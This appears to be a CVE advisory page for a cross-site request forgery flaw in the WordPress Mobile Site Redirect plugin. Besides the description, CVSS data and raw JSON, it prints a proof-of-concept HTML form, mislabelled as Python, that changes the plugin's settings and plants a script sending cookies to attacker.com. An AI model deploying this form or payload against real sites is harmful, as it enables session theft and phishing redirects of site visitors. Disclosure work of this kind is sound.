Security Vulnerability Report
中文
CVE-2025-9884 CVSS 6.1 MEDIUM

CVE-2025-9884

Published: 2025-10-03 12:15:50
Last Modified: 2026-04-15 00:35:42

Description

The Mobile Site Redirect plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.1. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Mobile Site Redirect <= 1.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-9884 PoC: CSRF exploit for WordPress Mobile Site Redirect plugin (<= 1.2.1) This PoC demonstrates how an unauthenticated attacker can forge a request to update plugin settings when an authenticated admin visits a malicious page. --> <html> <head> <title>Loading...</title> </head> <body> <!-- Auto-submit form to the vulnerable WordPress admin endpoint --> <form id="csrf-form" action="http://target-wordpress-site.com/wp-admin/options-general.php?page=mobired" method="POST"> <!-- Inject malicious redirect URL to a phishing site --> <input type="hidden" name="mobired_mobile_redirect_url" value="http://evil-phishing-site.com/malicious-page" /> <!-- Inject malicious JavaScript payload (Stored XSS via settings) --> <input type="hidden" name="mobired_custom_script" value="<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>" /> <input type="hidden" name="mobired_action" value="update_settings" /> <input type="hidden" name="submit" value="Save Changes" /> </form> <script> // Auto-submit the form when the page loads document.getElementById('csrf-form').submit(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9884", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:49.800", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Mobile Site Redirect plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.1. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/mobile-site-redirect/tags/1.2.1/mobired_admin.php#L27", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/mobile-site-redirect/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5c921300-88ef-43b8-959e-2bc490cf303f?source=cve", "source": "[email protected]"}]}}